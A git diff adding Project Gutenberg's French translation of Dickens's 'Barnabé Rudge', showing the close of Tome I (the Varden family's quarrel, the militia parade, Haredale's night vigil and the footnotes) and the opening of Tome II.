+souscription régulière au Foudroyant; qu'elle aurait au moins
+l'occasion d'y lire mot pour mot les discours de lord Georges
+Gordon; et ces discours lui offriraient beaucoup plus de confort
+et de consolation que ne pourraient, lui en procurer cent
+cinquante Barbes-Bleues. Elle en appela, pour appuyer cette
+proposition, à Mlle Miggs, qui servait alors à table. Celle-ci dit
+que le calme d'esprit qu'elle avait retiré de la lecture de cet
+écrit en général, mais en particulier d'un article de la semaine
+dernière, positivement la dernière, et intitulé: «La Grande-
+Bretagne noyée dans le sang,» surpassait en vérité toute croyance.
+Elle ajouta que le même morceau avait produit sur l'esprit d'une
+soeur à elle, mariée et domiciliée cour du Lion d'Or, numéro
+vingt-sept, deuxième cordon de sonnette au montant de la porte à
+main droite, un effet si réconfortant, que, dans le délicat état
+de santé où elle se trouvait, puisqu'elle attendait un surcroît à
+sa petite famille, elle était tombée en attaque de nerfs à la
+lecture dudit article, et n'avait depuis parlé en son délire que
+de l'inquisition, à la grande édification de son mari et de ses
+amis. Mlle Miggs ne craignit pas de dire qu'elle recommandait à
+tous ceux dont les coeurs étaient endurcis d'entendre eux-mêmes
+lord Georges, qu'elle louait d'abord pour son ferme
+protestantisme, puis pour son génie oratoire, puis pour ses yeux,
+puis pour son nez, puis pour ses jambes, et finalement pour
+l'ensemble de sa personne, qu'elle considérait comme faite pour
+honorer une statue modèle de prince ou d'ange; sentiment auquel
+Mme Varden souscrivit pleinement.
+
+Mme Varden profita de la circonstance pour regarder sur le dessus
+de la cheminée une boîte peinte, imitant une maison bâtie en
+briques très rouges, avec un toit jaune, surmonté d'une vraie
+cheminée par laquelle les souscripteurs volontaires faisaient
+couler leur argent, leur or, ou leurs sous, dans la salle à
+manger; et sur la porte, l'imitation d'une plaque de cuivre où se
+lisaient très bien ces deux mots: Association Protestante; et en
+la regardant, elle déclara que c'était pour elle une source de
+poignante affliction de penser que jamais Varden n'avait, de tout
+son avoir, fait couler la moindre chose dans ce temple, sauf une
+fois, en secret, comme elle l'avait découvert plus tard, deux
+fragments de pipe, profanation dont elle souhaitait qu'on ne le
+rendît pas responsable, au jour du règlement des comptes. Elle
+remarqua ensuite, elle était peinée de le dire, que Dolly ne se
+montrait guère moins retardataire dans ses contributions, aimant
+mieux à ce qu'il semblait, acheter des rubans et de semblables
+babioles, qu'encourager la grande cause, soumise alors à de si
+accablantes tribulations. Elle la suppliait donc (car pour son
+père, elle craignait bien qu'il ne fût incorrigible), elle la
+suppliait de ne point mépriser, mais d'imiter au contraire le
+brillant exemple de Miggs, qui jetait ses gages pour ainsi dire à
+la figure du pape, au risque de lui casser le nez avec son
+trimestre.
+
+«Oh! mame, dit Miggs, ne parlez pas de ça. Je n'ai pas
+l'intention, mame, que personne le sache. Des sacrifices comme
+ceux que je puis faire sont le denier de la veuve. C'est tout ce
+que j'ai, cria Miggs en fondant en larmes, car chez elle les
+larmes ne venaient jamais par degrés, mais j'en suis récompensée
+d'une autre manière, j'en suis bien récompensée.»
+
+C'était complètement vrai, quoique peut-être pas tout à fait de la
+manière que Miggs voulait le dire. Comme elle ne manquait jamais
+de consommer ses sacrifices généreux sous les yeux et dans la
+tirelire de Mme Varden, cela lui valait de si nombreux cadeaux de
+bonnets, de robes et autres articles de toilette, que, au total,
+la maison en briques rouges était sans doute le meilleur placement
+qu'elle pût trouver pour son petit capital, cette maison lui
+rendant un intérêt de sept ou de huit pour cent en argent, et de
+cinquante au moins en réputation personnelle et en estime.
+
+«Vous n'avez pas besoin de pleurer, Miggs, dit Mme Varden elle-
+même en larmes. Vous n'avez pas besoin d'en être toute honteuse,
+quoique vous ayez en cela le malheur de faire comme votre pauvre
+maîtresse.»
+
+Miggs, à cette remarque, hurla d'une façon particulièrement
+lugubre, en disant qu'elle savait bien que maître Varden la
+haïssait, que c'était une terrible chose que de vivre en
+condition, pour être entre l'enclume et le marteau, sans pouvoir
+plaire à tout le monde, que c'était une chose dont elle ne pouvait
+supporter la pensée, que de semer la zizanie, et que ses
+sentiments lui défendaient de jouer ce rôle plus longtemps, que si
+c'était le désir du bourgeois de se séparer d'elle, il valait
+mieux se séparer tout de suite, qu'elle ne souhaitait qu'une
+chose, c'était qu'il en fût plus heureux; car elle ne lui voulait
+que du bien, et ne demandait pas mieux qu'il trouvât quelqu'un qui
+pût convenir à son caractère. Ce serait une dure épreuve,
+continua-t-elle, de se séparer d'une si bonne maîtresse; mais elle
+était capable d'accepter n'importe quelle souffrance quand sa
+conscience lui disait qu'elle était dans le droit chemin, et
+c'était là ce qui lui donnait le courage de se résigner à son
+sort. Elle ne pensait pas, ajouta-t-elle, qu'elle survécût
+longtemps à ces séparations; mais puisqu'on la haïssait et qu'on
+ne la voyait qu'avec déplaisir, peut-être sa mort, et aussi
+prompte que possible, était-elle ce qu'il y avait de mieux à
+souhaiter pour tout le monde. Arrivée à cette navrante conclusion,
+Mlle Miggs répandit encore des larmes, et sanglota comme une
+Madeleine.
+
+«Pouvez-vous supporter cela, Varden? dit sa femme d'une voix
+solennelle, en posant son couteau et sa fourchette.
+
+-- Ma foi! pas trop bien, ma chère, répliqua le serrurier; mais je
+fais tout ce que je peux pour garder mon sang-froid.
+
+-- Qu'il n'y ait pas de mots à mon sujet, mame, soupira Miggs.
+Mieux vaut que nous nous séparions. Je ne voudrais pas rester...
+oh! miséricorde divine!... et causer des divisions. Non, pas même
+pour une mine d'or par an, ou pour une rente de thé sucré.»
+
+De crainte que le lecteur ne soit en peine de découvrir le motif
+de la profonde émotion de Mlle Miggs, nous pouvons en aparté lui
+confier tout bas que, comme elle était toujours aux écoutes, elle
+avait entendu, au moment où Gabriel et sa femme conversaient
+ensemble, la plaisanterie du serrurier relative à ce négrillon qui
+jouait du tambour de basque; elle n'avait pu retenir l'explosion
+des sentiments de dépit que ce sarcasme avait éveillés dans son
+beau sein, et voilà ce qui l'avait fait éclater comme nous venons
+de voir. Les choses étant arrivées alors à une crise, le
+serrurier, selon sa coutume, par amour pour la paix et la
+tranquillité, commença à mettre les pouces.
+
+«Qu'avez-vous à pleurer, ma fille? dit-il. De quoi s'agit-il? qui
+est-ce qui vous dit qu'on vous hait? moi! je ne vous hais pas; je
+ne hais personne. Séchez vos yeux, devenez de meilleure humeur, au
+nom du ciel, et ne nous rendons pas malheureux tous tant que nous
+sommes: il sera toujours assez tôt.»
+
+Les puissances confédérées, jugeant d'une bonne tactique de
+considérer ces paroles comme une excuse suffisante de l'ennemi
+commun et comme un aveu de ses torts, séchèrent leurs yeux et
+prirent la chose en bonne part. Mlle Miggs fit remarquer qu'elle
+ne voulait de mal à personne, pas même à son plus grand ennemi, et
+qu'elle l'aimait d'autant plus au contraire qu'il lui infligeait
+une persécution plus cruelle. Mme Varden approuva hautement cet
+esprit de douceur et de clémence, et déclara incidemment, comme si
+c'eût été une des clauses du traité de paix, que Dolly
+l'accompagnerait ce soir même à la succursale de l'Association
+siégeant à Clerkenwell. Ce fut là un exemple extraordinaire de sa
+grande prudence et de sa politique. Il y avait bien longtemps
+qu'elle visait à ce résultat, et, comme elle soupçonnait
+secrètement que le serrurier (toujours hardi lorsqu'il était
+question de sa fille) ne manquerait pas d'y faire des objections,
+si elle avait tant soutenu Mlle Miggs tout à l'heure, c'était pour
+le prendre à son désavantage. La manoeuvre réussit à souhait.
+Gabriel se contenta de faire une grimace, et, pour ne pas
+s'attirer une seconde scène comme celle de tout à l'heure, il
+n'osa pas dire un seul mot.
+
+Miggs y gagna de Mme Varden une robe et de Dolly une demi-
+couronne, pour la récompenser de s'être éminemment distinguée dans
+le sentier de la vertu et de la sainteté. Mme Varden, selon sa
+coutume, exprima l'espoir que ce qui venait de se passer serait
+pour Varden une leçon qui lui apprendrait à tenir une plus
+généreuse conduite à l'avenir.
+
+Le dîner s'étant refroidi, et personne n'ayant gagné beaucoup
+d'appétit durant cette scène, on continua le repas, comme dit
+Mme Varden, «en chrétiens.»
+
+La grande parade des volontaires royaux de Londres oriental devait
+avoir lieu dans l'après-midi; le serrurier ne travailla donc pas
+davantage, mais il s'assit à son aise, la pipe à la bouche et son
+bras autour de la taille de sa jolie fille, regardant de temps en
+temps Mme Varden d'un air aimable, et ne montrant du sommet de sa
+tête à la plante de ses pieds qu'une surface souriante de bonne
+humeur. Et bien sûr, lorsque vint l'heure de revêtir son uniforme,
+et que Dolly, se suspendant autour de lui avec toute sorte de
+poses gracieuses et des plus séduisantes, l'aida à se boutonner, à
+se boucler, à se brosser et à entrer dans l'un des habits les plus
+justes qu'ait jamais faits tailleur en ce monde, c'était bien le
+plus orgueilleux père de toute l'Angleterre.
+
+«Ah! la bonne pièce! dit le serrurier à Mme Varden, qui était
+debout à l'admirer les bras croisés (car, après tout, elle était
+un peu fière de son martial époux), tandis que Miggs lui tendait
+le chapeau et le sabre à longueur de bras, comme si elle eût
+craint que ce dernier ne passât de son chef au travers du corps de
+quelqu'un; mais, Doll, ma chère, n'épouse jamais un soldat.»
+
+Dolly ne demanda pas pourquoi, ni ne dit mot; mais elle baissa
+bien bas la tête pour attacher le ceinturon.
+
+«Je ne porte jamais cet uniforme, dit l'honnête Gabriel, que je ne
+pense au pauvre Joe Willet. J'aimais Joe; il a toujours été mon
+favori. Pauvre Joe!... Tudieu, ma fille, ne me serre donc pas si
+fort!»
+
+Dolly se mit à rire; mais ce n'était pas son rire habituel;
+c'était le plus étrange petit rire du monde. Et elle pencha la
+tête encore plus bas.
+
+«Pauvre Joe! reprit le serrurier en marmottant ces mots entre ses
+dents; j'ai toujours regretté qu'il ne fût pas venu me trouver.
+J'aurais rétabli le bon accord entre eux, s'il était venu. Ah! le
+vieux John s'est bien trompé dans sa manière de traiter ce
+garçon... oh! oui, fièrement trompé... Aurez-vous bientôt attaché
+mon ceinturon, ma chère?»
+
+Il fallait que ce ceinturon fût mal fait! il venait encore de se
+détacher, et le voilà qui traînait à terre. Dolly fut obligée de
+s'agenouiller et de recommencer de plus belle.
+
+«Qu'est-ce que vous avez besoin de parler du jeune Willet, Varden?
+dit sa femme en fronçant le sourcil; est-ce que vous ne pourriez
+pas nous parler de quelque chose de plus intéressant?»
+
+Mlle Miggs fit un grand reniflement qui avait le même sens.
+
+«Allons! Marthe, cria le serrurier; ne soyons pas trop sévères à
+son égard. Si ce garçon est mort, soyons du moins affectueux pour
+sa mémoire.
+
+-- Un fugitif et un vagabond!» dit Mme Varden.
+
+Mlle Miggs exprima comme auparavant qu'elle partageait l'avis de
+sa maîtresse.
+
+«Un fugitif, ma chère, mais non pas un vagabond, répliqua
+doucement le serrurier. Il se conduisait bien, Joe, toujours bien,
+et c'était un beau et brave garçon. Ne l'appelez pas un vagabond,
+Marthe.»
+
+Mme Varden toussa... et Miggs fit de même.
+
+«Et qui a bien fait tout ce qu'il a pu pour gagner votre estime,
+Marthe, je vous en réponds, ajouta le serrurier en souriant et en
+se caressant le menton. Ah! oui; il a bien fait ce qu'il a pu. Un
+soir, il me semble que c'est hier, il me suivit à la porte du
+Maypole, et me pria de ne pas dire qu'on le traitait chez lui
+comme un petit garçon... de ne pas le dire ici, à la maison,
+c'était comme cela qu'il l'entendait; quoique sur le moment, je
+m'en souviens, je ne l'eusse pas compris.» Et comment va
+Mlle Dolly, monsieur?» me disait-il, poursuivit le serrurier, en
+rêvant avec tristesse. Ah! pauvre Joe!
+
+-- Bon, je vous avertis, moi, cria Miggs. Oh! miséricorde divine!
+
+-- Eh bien! qu'est-ce qu'il vous prend? dit Gabriel en se
+retournant vivement vers la servante.
+
+-- Eh mais, est-ce que ne voilà pas Mlle Dolly, dit Miggs, en se
+baissant pour regarder sa jeune maîtresse en face, qui verse un
+torrent de larmes? Oh, mame! oh, monsieur! vraiment ça me retourne
+au point, cria l'impressionnable camériste en pressant son côté de
+sa main pour arrêter les palpitations de son coeur, que vous me
+feriez tomber morte, rien qu'en me touchant du bout d'une plume.»
+
+Le serrurier, après un coup d'oeil à Mlle Miggs, comme s'il eût
+souhaité qu'on lui apportât une plume tout de suite, jeta des yeux
+effarés sur Dolly, qui s'enfuyait, suivie de cette jeune femme
+pleine de sympathie; puis, se tournant vers son épouse, il
+balbutia: «Dolly serait-elle malade? Est-ce que c'est moi qui lui
+ai fait quelque chose? Est-ce que c'est ma faute?
+
+-- Votre faute! cria Mme Varden d'un air de reproche. Là! vous
+auriez mieux fait de vous dépêcher de partir.
+
+-- Qu'est-ce que j'ai donc fait? dit le pauvre Gabriel. Il avait
+été convenu que jamais le nom de M. Édouard en serait prononcé, je
+n'ai pas parlé de lui; est-ce que j'en ai parlé?»
+
+Mme Varden répliqua purement et simplement qu'elle perdait
+patience, et s'élança après les deux autres. L'infortuné serrurier
+attacha son ceinturon, ceignit son sabre, mit son chapeau et
+sortit.
+
+«Je ne suis pas bien ferré sur l'exercice, dit-il à voix basse,
+mais je me tirerai encore mieux d'affaire de cette besogne-là que
+de celle-ci. Chaque homme est venu au monde pour quelque chose;
+mon département semble être de faire pleurer toutes les femmes
+sans le vouloir. C'est un peu fort!»
+
+Mais il n'avait pas encore atteint le bout de la rue qu'il avait
+déjà oublié cet incident. Il continua son chemin avec une figure
+rayonnante, faisant un signe de tête en passant devant chaque
+voisin, et répandant autour de lui ses salutations amicales comme
+une douce pluie de printemps.
+
+
+
+
+CHAPITRE XLII.
+
+
+Les volontaires royaux de Londres oriental offrirent ce jour-là un
+brillant spectacle: formés en lignes, en carrés, en cercles, en
+triangles et mille autres figures, avec leurs tambours battants et
+leurs drapeaux flottants, ils exécutèrent un nombre immense
+d'évolutions compliquées, et le sergent Varden ne fut pas des
+derniers à s'y faire remarquer. Après avoir déployé au plus haut
+point leur prouesse militaire dans ces scènes guerrières, ils
+marchèrent au pas, dans un ordre éblouissant, vers Chelsea Bun-
+House, et se régalèrent jusqu'à la nuit dans les tavernes
+adjacentes. Puis, au son du tambour, ils reformèrent leurs rangs,
+et retournèrent, parmi les vivats des sujets de Sa Majesté, au
+lieu d'où ils étaient venus.
+
+Cette marche vers le logis fut quelque peu retardée par la
+conduite peu militaire de certains caporaux, gentlemen d'habitudes
+tranquilles dans la vie privée, mais excitables au dehors. Ils
+cassèrent à coups de baïonnette les vitres de plusieurs fenêtres,
+et mirent le commandant en chef dans l'impérieuse nécessité de les
+placer sous la garde d'une forte escouade, avec laquelle ils se
+battirent par intervalles tout le long du chemin. Voilà pourquoi
+notre serrurier n'atteignit pas son domicile avant neuf heures.
+Une voiture de louage attendait près de la porte; et, au moment où
+il entrait, M. Haredale, passant la tête à la portière, l'appela
+par son nom.
+
+«Voilà une vue qui peut guérir les ophtalmies, monsieur, dit le
+serrurier en s'avançant vers ce gentleman. Je regrette que vous ne
+soyez pas entré, plutôt que d'attendre ici.
+
+-- Il n'y a personne chez vous, à ce qu'il paraît, répondit
+M. Haredale; je désire d'ailleurs que nous ayons un entretien
+aussi particulier que possible.
+
+-- Hum! marmotta le serrurier en jetant un regard autour de la
+maison. Parties avec Simon Tappertit, sans doute pour aller à
+cette précieuse succursale!»
+
+M. Haredale l'invita à monter dans la voiture, et, s'il n'était
+pas fatigué ou trop pressé de rentrer au logis, à faire une petite
+promenade avec lui pour pouvoir causer un peu ensemble. Gabriel y
+consentit avec plaisir, et le cocher, montant sur son siège, lança
+les chevaux.
+
+«Varden, dit M. Haredale après une pause d'une minute, vous serez
+stupéfait en apprenant la mission dont je me suis chargé; elle
+vous paraîtra bien étrange.
+
+-- Je ne doute pas qu'elle ne soit raisonnable, monsieur, et fort
+sensée, répliqua le serrurier; sans cela, vous ne vous en seriez
+pas chargé. Ne faites-vous que de revenir à la ville, monsieur?
+
+-- Il n'y a qu'une demi-heure que je suis à Londres.
+
+-- Vous n'apportez pas de nouvelles de Barnabé ni de sa mère? dit
+le serrurier d'un air inquiet. Ah! vous n'avez pas besoin de
+secouer la tête, monsieur. C'était une chasse aux oies sauvages.
+Je m'en suis bien douté dès l'origine. Vous aviez épuisé tous les
+moyens raisonnables de les découvrir lorsqu'ils sont partis. Et,
+après un si long temps, il n'y avait guère d'espérance de
+recommencer vos recherches avec succès.
+
+-- Mais où sont-ils? répliqua M. Haredale avec impatience Où
+peuvent-ils être? Ils ne peuvent pas être sous terre.
+
+-- Dieu le sait, répondit le serrurier. Il y en a plus d'un, que
+j'ai connus il y a cinq ans encore, qui sont couchés maintenant
+sous le gazon. Et le monde est si grandi. C'est une tentative sans
+espoir, monsieur, croyez-moi. Nous devons laisser la découverte de
+ce mystère, ainsi que de tous les autres, au temps, au hasard, au
+bon plaisir du ciel.
+
+-- Varden, mon excellent garçon, dit M. Haredale, j'ai, dans mon
+anxiété présente, une envie démesurée de poursuivre mes
+recherches. Ce n'est pas un pur caprice; ce ne sont pas mes
+anciens souhaits, mes anciens désirs accidentellement réveillés;
+c'est un dessein ardent, solennel. Toutes mes pensées, tous mes
+rêves, tendent à le fixer davantage en mon esprit. Je n'ai de
+repos ni jour ni nuit; ni paix ni trêve; je suis obsédé.»
+
+Il y avait une si grande altération dans l'accent habituel de sa
+voix, et ses manières dénotaient une émotion si forte, que
+Gabriel, plein d'étonnement, ne put que rester assis, à le
+regarder dans l'ombre, pour chercher à deviner l'expression de sa
+figure.
+
+«Ne me demandez pas d'explication, continua M. Haredale. Si je
+vous en donnais, vous me croiriez victime de quelque hallucination
+hideuse. Il suffit que la chose soit telle qu'elle est, et que je
+ne puisse pas, non, je ne le peux pas, reposer tranquillement dans
+mon lit, sans faire des choses qui vous paraîtront
+incompréhensibles.
+
+-- Depuis quand, monsieur, dit le serrurier après une pause, avez-
+vous éprouvé cette pénible sensation?»
+
+M. Haredale hésita quelques instants, puis il répliqua: «Depuis la
+nuit de l'orage. Bref, depuis le dix-neuf mars dernier.»
+
+Comme s'il eût craint que Varden n'exprimât de la surprise, ou
+qu'il ne voulût discuter avec lui, il se hâta de poursuivre:
+
+«Vous pensez, je le sais, que je suis en proie à quelque illusion.
+Peut-être le suis-je. Mais elle n'a rien de morbide en tous cas;
+c'est un acte de mon esprit dans son état le plus sain, et
+raisonnant sur des faits très réels. Vous vous rappelez que
+Mme Rudge a laissé son mobilier dans la maison qu'elle occupait.
+Depuis son départ, cette maison a été fermée par mes ordres, sauf
+une fois ou deux la semaine qu'une vieille voisine y fait sa
+visite pour faire la chasse aux rats. C'est là que je vais en ce
+moment.
+
+-- Dans quel but? demanda le serrurier.
+
+-- Pour y passer la nuit, répliqua-t-il, et pas seulement cette
+nuit, mais bien d'autres. C'est un secret que je vous confie en
+cas d'événement inattendu. Vous ne viendrez me trouver que s'il y
+avait nécessité pressante; depuis la brune jusqu'au grand jour, je
+serai là. Emma, votre fille et les autres, me supposent hors de
+Londres, comme je l'étais encore il n'y a pas plus d'une heure. Ne
+les détrompez pas. Voilà la mission à laquelle je me suis dévoué.
+Je sais que je peux me fier à vous, et je compte que vous ne me
+questionnerez pas davantage, quant à présent!»
+
+Puis M. Haredale, comme pour changer de sujet, ramena le serrurier
+confondu à la soirée du voleur de grand chemin qu'il avait
+rencontré au Maypole, au vol commis sur M. Édouard Chester, à la
+nouvelle apparition de cet homme chez Mme Rudge, et à toutes les
+circonstances étranges qui avaient encore eu lieu après. Il lui
+fit négligemment des questions sur la taille de cet homme, sur sa
+figure, sur toute sa personne; il lui demanda s'il ressemblait à
+quelqu'un qu'il eût jamais vu... à Hugh, par exemple, ou à quelque
+autre de sa connaissance... et il lui fit beaucoup d'autres
+questions de ce genre, que le serrurier considéra comme des sujets
+imaginés pour distraire son attention et donner le change à son
+étonnement. Aussi y répondit-il un peu en l'air.
+
+Enfin ils arrivèrent au coin de la rue où était la maison.
+M. Haredale descendit et renvoya la voiture. «Si vous voulez voir
+comme je suis bien logé, dit-il en se retournant vers le serrurier
+avec un sombre sourire, vous le pouvez.»
+
+Gabriel, pour qui toutes les merveilles passées n'étaient rien en
+comparaison de celle-ci, le suivit en silence le long de l'étroit
+trottoir. Ils atteignirent la porte; M. Haredale l'ouvrit
+doucement avec une clef qu'il avait sur lui, et la referma lorsque
+Varden fut entré. Ils se trouvèrent dans l'obscurité la plus
+complète.
+
+Ils parvinrent à tâtons dans la pièce du rez-de-chaussée.
+
+Là, M. Haredale battit le briquet et alluma une bougie de poche
+qu'il avait apportée à cette intention. Ce fut alors qu'à la
+lumière qui l'éclairait en plein, le serrurier vit pour la
+première fois combien il était hagard, pâle et changé; combien il
+était exténué, amaigri; combien tout son extérieur répondait
+parfaitement à tout ce qu'il avait dit de si étrange durant leur
+course. C'était un mouvement assez naturel chez Gabriel, après
+tout ce qu'il avait entendu, que d'observer curieusement
+l'expression de ses yeux. Elle était pleine de calme et de bon
+sens... au point, en vérité, que, se sentant honteux de ses
+soupçons passagers, il baissa ses propres yeux lorsque M. Haredale
+regarda vers lui, de crainte qu'ils ne trahissent sa pensée.
+
+«Voulez-vous parcourir la maison? dit M. Haredale en jetant un
+coup d'oeil sur la fenêtre, dont les volets peu solides étaient
+fermés et assujettis. Parlez bas.»
+
+Il eût été difficile de parler autrement, tant ce lieu inspirait
+de terreur. Gabriel chuchota: «Oui,» et suivit en haut
+M. Haredale.
+
+Chaque chose était précisément comme ils l'avaient vue la dernière
+fois; il y régnait une odeur de renfermé provenant de ce que l'air
+frais n'y pénétrait jamais, et une obscurité pesante, comme si un
+long emprisonnement eût rendu le silence lui-même plus lugubre
+encore. Les grossières tentures des lits et des fenêtres avaient
+commencé à tomber de vétusté; la poussière gisait épaisse sur
+leurs plis en lambeaux; l'humidité s'était fait un passage à
+travers le plafond, les murs et le plancher. Le parquet craquait
+sous leurs pieds, comme s'il se révoltait contre les pas
+inaccoutumés de quelques intrus; d'agiles araignées, paralysées
+par l'éclat de la bougie, suspendaient le mouvement de leurs cent
+pattes sur la muraille, ou se laissaient choir à terre comme des
+choses inanimées; le ver rongeur, dans les poutres, faisait
+retentir son tic-tac funèbre, et l'on entendait derrière la
+boiserie le remue-ménage des rats et des souris qui décampaient.
+
+En considérant cet ameublement délabré, ils s'étonnèrent tous deux
+de la vivacité d'images avec laquelle il leur représenta ceux à
+qui il avait appartenu et qui s'en servaient autrefois pour leurs
+usages familiers. Grip semblait être encore perché sur la chaise à
+dossier élevé: Barnabé s'accroupit encore dans son ancien coin
+favori, près du feu; la mère reprendre sa place habituelle pour le
+surveiller comme jadis. Même lorsqu'ils pouvaient séparer dans
+leur esprit ces objets visibles des fantômes disparus, ces
+fantômes se dérobaient seulement à leur vue, mais ils restaient
+près d'eux encore: car ils semblaient les guetter du fond des
+cabinets ou de derrière les portes, prêts à sortir de là soudain
+pour les interpeller de leurs voix bien connues.
+
+Ils descendirent l'escalier et revinrent dans la pièce qu'ils
+avaient quittée quelques instants avant. M. Haredale déboucla son
+épée et la mit sur la table avec une paire de pistolets de poche;
+puis il dit au serrurier qu'il allait l'éclairer jusqu'à la porte.
+
+«Savez-vous que vous avez pris là un poste qui n'est pas gai du
+tout, monsieur? dit Gabriel, qui s'en allait à contrecoeur. Est-ce
+que vous ne voulez personne pour partager votre veille?»
+
+Il secoua la tête et manifesta si positivement son désir d'être
+seul, que Gabriel ne put insister. Un moment après le serrurier
+était dans la rue, d'où il vit la lumière voyager une seconde fois
+en haut; elle ne tarda pas à revenir dans la chambre basse et à y
+briller à travers les fentes des volets.
+
+Si jamais homme fut cruellement embarrassé et inquiet, ce fut le
+serrurier ce soir-là. Même lorsqu'il se vit confortablement assis
+au coin de son propre foyer, ayant devant lui Mme Varden en bonnet
+de nuit et en camisole, et à côté de lui Dolly (dans le déshabillé
+le plus assassin) frisant ses cheveux et souriant comme si elle
+n'eût jamais pleuré de sa vie et qu'elle ne dût pleurer jamais...
+même alors avec Tobie à son coude et sa pipe à sa bouche, et Miggs
+(mais ça, ça ne compte pas) s'endormant par derrière, il ne put
+écarter sa profonde surprise et sa vive inquiétude. Il en fut de
+même dans ses rêves... il y voyait encore M. Haredale, hagard,
+rongé par les soucis, écoutant dans la maison déserte le moindre
+bruit, le moindre mouvement, à la lueur de la bougie qui brillait
+à travers les fentes, jusqu'à ce que le jour vînt la faire pâlir
+et mettre un terme à sa veille solitaire.
+
+FIN DU PREMIER VOLUME.
+
+
+
+
+[1] Table commune des officiers de tous grades.
+
+[2] Allusion au coq qui se fait entendre dans le premier acte
+du drame de Shakespeare.
+
+[3] Célèbre avocat irlandais, de l'époque antérieure à
+l'Union.
+
+[4] Point de départ officiel des bornes militaires, comme à
+Paris la cathédrale de Notre-Dame.
+
+[5] Arbre de mai, communément appelé autrefois un mai.
+
+[6] Gardes du corps de la reine.
+
+[7] Diminutif de Joseph.
+
+[8] L'auberge située à la moitié de la route.
+
+[9] Diminutif de Dorothy.
+
+[10] Quartier de Londres.
+
+[11] C'est pour ainsi dire, l'École de droit et le Palais de
+Justice réunis.
+
+[12]   Londres.
+
+[13]   Mélange de bière, de liqueurs spiritueuses et de sucre,
+le tout chaud à l'aide d'un fer brûlant (webstar).
+
+[14]   Diminutif d'Edward.
+
+[15]   Colonne élevée en souvenir du fameux incendie de 1666
+
+[16]   Profit pécuniaire, souvent matériel, plus ou moins licite
+et recherché avec avidité. [Note du correcteur]
+
+[17]   Jeu de quatre personnes avec quarante cartes.
+
+[18]   Qui concerne la mémoire. [Note du correcteur]
+
+[19]   Sorte de conseiller municipal à vie.
+
+[20]   Ou catshup, liqueur extraite de champignons, de toma-
+tes, et qui sert de sauce.
+
+[21] Partie d'une clôture qui peut s'ouvrir ou se déplacer.
+[Note du correcteur]
+
+[22] Miggs se sert ici d'une ellipse mystique; c'est le vase
+d'élection subalterne.
+
+[23] Tramée, en 1605, par les catholiques, dans le but de
+faire périr par une explosion Jacques Ier roi d'Angleterre, sa
+famille et tout le Parlement.
+
+[24] Gardes de corps à cheval.
+
+[25] Citation biblique, souvenir des prêches où allait Miggs.
+
+[26] Abréviation d'Élisabeth.
+
+[27] Diminutif de Georges.
+
+[28] Enrôlement maritime forcé.
+
+[29] Prison de Londres.
+
+[30] Prison.
+
+[31] Initiales de Member of Parliament.
+
+[32] Ceux qui exécutent les prises de corps.
+
+[33] The house, la maison. C'est le nom qu'on donne à la
+chambre des Communes.
+
+[34] Le fameux cruchon de M. Varden.
+
+
+
+
+
+
+
+
+
+End of Project Gutenberg's Barnabé Rudge, Tome I, by Charles Dickens
+
+*** END OF THIS PROJECT GUTENBERG EBOOK BARNABÉ RUDGE, TOME I ***
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diff --git a/first_find/files/acceptable_books/17880.txt.utf-8 b/first_find/files/acceptable_books/17880.txt.utf-8
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+The Project Gutenberg EBook of Barnabé Rudge, Tome II, by Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Barnabé Rudge, Tome II
+
+Author: Charles Dickens
+
+Translator: Mr Bonnomet
+
+Release Date: February 27, 2006 [EBook #17880]
+
+Language: French
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK BARNABÉ RUDGE, TOME II ***
+
+
+
+
+Produced by Ebooks Libres et Gratuits; this text is also
+available in multiple formats at www.ebooksgratuits.com
+
+
+
+
+
+
+Charles Dickens
+
+BARNABÉ RUDGE
+
+Tome II
+
+(1841)
+
+
+Traduction Mr Bonnomet
+
+
+
+
+Table des matières
+
+
+CHAPITRE PREMIER.
+CHAPITRE II.
+CHAPITRE III.
+CHAPITRE IV.
+CHAPITRE V.
+CHAPITRE VI.
+CHAPITRE VII.
+CHAPITRE VIII.
+CHAPITRE IX.
+CHAPITRE X.
+CHAPITRE XI
+CHAPITRE XII.
+CHAPITRE XIII.
+CHAPITRE XIV.
+CHAPITRE XV.
+CHAPITRE XVI.
+CHAPITRE XVII.
+CHAPITRE XVIII.
+CHAPITRE XIX.
+CHAPITRE XX.
+CHAPITRE XXI.
+CHAPITRE XXII.
+CHAPITRE XXIII.
+CHAPITRE XXIV.
+CHAPITRE XXV.
+CHAPITRE XXVI.
+CHAPITRE XXVII.
+CHAPITRE XXVIII.
+CHAPITRE XXIX.
+CHAPITRE XXX.
+CHAPITRE XXXI.
+CHAPITRE XXXII.
+CHAPITRE XXXIII.
+CHAPITRE XXXIV.
+CHAPITRE XXXV.
+CHAPITRE XXXVI.
+CHAPITRE XXXVII.
+CHAPITRE XXXVIII.
+CHAPITRE XXXIX.
+CHAPITRE XL.
+
+
+
+
+CHAPITRE PREMIER.
+
+
+Le lendemain matin, le serrurier resta en proie aux mêmes
+incertitudes, et le surlendemain, et plusieurs jours de suite
+encore. Souvent, après la chute du jour, il entrait dans la rue et
+tournait ses regards vers la maison qu'il connaissait si bien; et
+il était sûr d'y voir la lumière solitaire briller encore à
+travers les fentes du volet de la fenêtre, quand tout paraissait
+au dedans muet, immobile, triste comme un tombeau. Comme il ne
+voulait pas risquer de perdre la faveur de M. Haredale en
+désobéissant à ses injonctions précises, il ne s'aventurait jamais
+à frapper à la porte ou à trahir sa présence; mais, chaque fois
+que l'attrait d'un vif intérêt et d'une curiosité non satisfaite
+le poussait à venir voir de ce côté, et Dieu sait s'il y venait
+souvent, la lumière était toujours là.
+
+Quand il aurait su ce qui se passait au dedans, il n'en aurait
+guère été plus avancé; ce n'est pas là ce qui lui aurait donné la
+clef de ces veilles mystérieuses. À la brune, M. Haredale se
+renfermait chez lui, et au point du jour il sortait. Il ne
+manquait jamais une seule nuit le même manège. Il entrait et
+sortait toujours tout seul, sans varier le moins du monde ses
+habitudes.
+
+Voici comment il occupait sa veillée. Le soir, il entrait au
+logis, absolument comme le jour où le serrurier l'avait
+accompagné. Il allumait une bougie, parcourait l'appartement,
+l'examinant avec soin et en détail. Cela fait, il retournait dans
+la chambre du rez-de-chaussée, posait son épée et ses pistolets
+sur la table, et s'asseyait devant jusqu'au lendemain matin.
+
+Il avait presque toujours avec lui un livre que souvent il
